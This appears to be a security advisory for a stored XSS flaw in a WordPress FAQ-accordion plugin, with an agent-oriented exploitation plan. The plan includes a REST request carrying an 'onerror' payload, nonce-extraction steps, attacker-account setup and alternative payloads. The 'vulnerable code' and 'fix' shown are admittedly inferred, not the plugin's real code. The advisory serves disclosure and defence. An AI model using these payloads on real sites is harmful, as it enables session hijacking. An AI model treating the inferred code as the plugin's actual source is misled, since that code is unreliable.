Turn Yoast SEO FAQ Block to Accordion <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.6This exploitation research plan targets **CVE-2026-24591**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Turn Yoast SEO FAQ Block to Accordion" plugin. --- ### 1. Vulnerability Summary The plugin is designed to transform the standard Yoast SEO FAQ Gutenberg block into a functional acc…
Show full research plan
This exploitation research plan targets CVE-2026-24591, a Stored Cross-Site Scripting (XSS) vulnerability in the "Turn Yoast SEO FAQ Block to Accordion" plugin.
1. Vulnerability Summary
The plugin is designed to transform the standard Yoast SEO FAQ Gutenberg block into a functional accordion on the frontend. The vulnerability exists because the plugin fails to sanitize or escape the FAQ data (specifically the Question and Answer fields) when it intercepts the block rendering process to inject its accordion HTML/JavaScript. Since Contributors can create and edit posts, they can inject malicious scripts into these block attributes, which then execute in the context of any user (including administrators) viewing the post.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Post endpoint (
/wp-json/wp/v2/posts) or the standard Post Editor (wp-admin/post.php). - Vulnerable Parameter:
post_content(specifically the JSON attributes within the<!-- wp:yoast/faq-block -->Gutenberg block comment). - Authentication Level: Authenticated (Contributor or higher).
- Preconditions: The Yoast SEO plugin must be active (so the block exists) and the vulnerable "Turn Yoast SEO FAQ Block to Accordion" plugin must be active to perform the unescaped rendering.
3. Code Flow (Inferred)
- Entry Point: The plugin likely registers a filter on
render_blockorrender_block_yoast/faq-block. - Logic Path:
- The filter function (e.g.,
faq_accordion_render_callback( $block_content, $block )) is triggered when a Yoast FAQ block is rendered. - The plugin extracts the
questionsarray from$block['attrs']. - The plugin iterates through each question object (containing
jsonQuestionandjsonAnswer).
- The filter function (e.g.,
- Sink: The plugin constructs the accordion HTML by concatenating strings or using a template, directly echoing or returning the raw
jsonQuestionorjsonAnswervalues without usingesc_html()orwp_kses().
4. Nonce Acquisition Strategy
To save a post as a Contributor via the REST API (the most reliable method for automated PoC), a _wpnonce for the wp_rest action is required.
- Identify Shortcode/Script: This plugin modifies existing blocks rather than using a custom shortcode. Therefore, we should navigate to the standard post editor page.
- Navigate: Use
browser_navigatetowp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the REST nonce from the WordPress settings object.- Script:
browser_eval("wpApiSettings.nonce")
- Script:
- Alternative: The nonce can also be found in the HTML source of the post editor inside the
wp-api-settingsinline script.
5. Exploitation Strategy
The goal is to create a post containing a Yoast FAQ block where the question contains an XSS payload.
Step 1: Authenticate
Log in as a user with the Contributor role.
Step 2: Get REST Nonce
Navigate to wp-admin/ and execute browser_eval("wpApiSettings.nonce").
Step 3: Create Malicious Post
Send a POST request to /wp-json/wp/v2/posts using the http_request tool.
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload:
{
"title": "FAQ Accordion XSS Test",
"status": "publish",
"content": "<!-- wp:yoast/faq-block {\"questions\":[{\"id\":\"faq-question-1\",\"jsonQuestion\":\"<img src=x onerror=alert(document.domain)>\",\"jsonAnswer\":\"This is a test answer.\"}]} -->\n<div class=\"schema-faq wp-block-yoast-faq-block\"></div>\n<!-- /wp:yoast/faq-block -->"
}
Note: Even if the Contributor cannot 'publish', they can set the status to 'pending' or 'draft'. The XSS will execute during 'Preview' by an Admin.
Step 4: Trigger the XSS
Navigate to the URL of the newly created post (or use browser_navigate to view the post as an Admin).
6. Test Data Setup
- Plugin Installation: Ensure
wordpress-seo(Yoast) andfaq-schema-block-to-accordionare installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Target Content: No pre-existing content is required, as the attacker creates the post.
7. Expected Results
When the post is viewed, the plugin's accordion rendering logic will process the jsonQuestion attribute. Because it is not escaped, the browser will encounter:
<div class="accordion-title">
<img src=x onerror=alert(document.domain)>
</div>
The alert(document.domain) will execute immediately.
8. Verification Steps
- Verify Storage: Use WP-CLI to verify the payload is stored in the database:
wp post list --post_type=post --format=idswp post get [ID] --field=post_content
- Verify Execution: Use
browser_navigateto the post URL and check for the presence of the injected<img>tag or the execution of the script via aconsole.logpayload.
9. Alternative Approaches
- Answer Field XSS: Inject the payload into the
jsonAnswerfield instead ofjsonQuestion.- Payload:
\"jsonAnswer\":\"<script>console.log('XSS_IN_ANSWER')</script>\"
- Payload:
- Classic Editor / Meta Injection: If the plugin supports older versions of Yoast or custom meta, try injecting into
_yoast_wpseo_faq_questionspost meta directly using aPOSTrequest towp-admin/post.php. - Gutenberg Attribute Breakout: If the plugin escapes HTML but not attributes, try:
"jsonQuestion": "Item\" onmouseover=\"alert(1)\" data-x=\""
Summary
The Turn Yoast SEO FAQ Block to Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient output escaping when intercepting and rendering Yoast SEO FAQ blocks. This allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into FAQ block attributes that execute in the context of any user viewing the page.
Vulnerable Code
// Inferred logic based on plugin behavior described in research plan // faq-schema-block-to-accordion/faq-schema-block-to-accordion.php function faq_accordion_render_callback( $block_content, $block ) { if ( isset( $block['blockName'] ) && $block['blockName'] === 'yoast/faq-block' ) { $questions = $block['attrs']['questions']; $new_content = '<div class="faq-accordion-container">'; foreach ( $questions as $question ) { // Vulnerability: Attributes are concatenated into HTML without escaping $new_content .= '<div class="accordion-item">'; $new_content .= '<div class="accordion-title">' . $question['jsonQuestion'] . '</div>'; $new_content .= '<div class="accordion-content">' . $question['jsonAnswer'] . '</div>'; $new_content .= '</div>'; } $new_content .= '</div>'; return $new_content; } return $block_content; } add_filter( 'render_block', 'faq_accordion_render_callback', 10, 2 );
Security Fix
@@ -8,8 +8,8 @@ foreach ( $questions as $question ) { $new_content .= '<div class="accordion-item">'; - $new_content .= '<div class="accordion-title">' . $question['jsonQuestion'] . '</div>'; - $new_content .= '<div class="accordion-content">' . $question['jsonAnswer'] . '</div>'; + $new_content .= '<div class="accordion-title">' . wp_kses_post( $question['jsonQuestion'] ) . '</div>'; + $new_content .= '<div class="accordion-content">' . wp_kses_post( $question['jsonAnswer'] ) . '</div>'; $new_content .= '</div>'; }
Exploit Outline
The exploit involves an authenticated attacker with Contributor-level permissions injecting a malicious payload into a Yoast SEO FAQ block's attributes. 1. Authentication: Log in to the WordPress site with a Contributor role. 2. Nonce Retrieval: Obtain a valid REST API nonce from the WordPress admin dashboard (e.g., via `wpApiSettings.nonce`). 3. Payload Creation: Send a POST request to the `/wp-json/wp/v2/posts` endpoint to create or update a post. The `post_content` should contain a Gutenberg block comment for a `yoast/faq-block` with malicious scripts in its JSON attributes. 4. Example Payload: `<!-- wp:yoast/faq-block {"questions":[{"id":"q1","jsonQuestion":"<img src=x onerror=alert(document.domain)>","jsonAnswer":"Test"}]} --><div class="schema-faq"></div><!-- /wp:yoast/faq-block -->`. 5. Trigger: When an administrator or any other user views the post (either published or in draft preview), the plugin's rendering logic processes the `jsonQuestion` attribute and inserts the unescaped `<img>` tag into the HTML, triggering the JavaScript execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.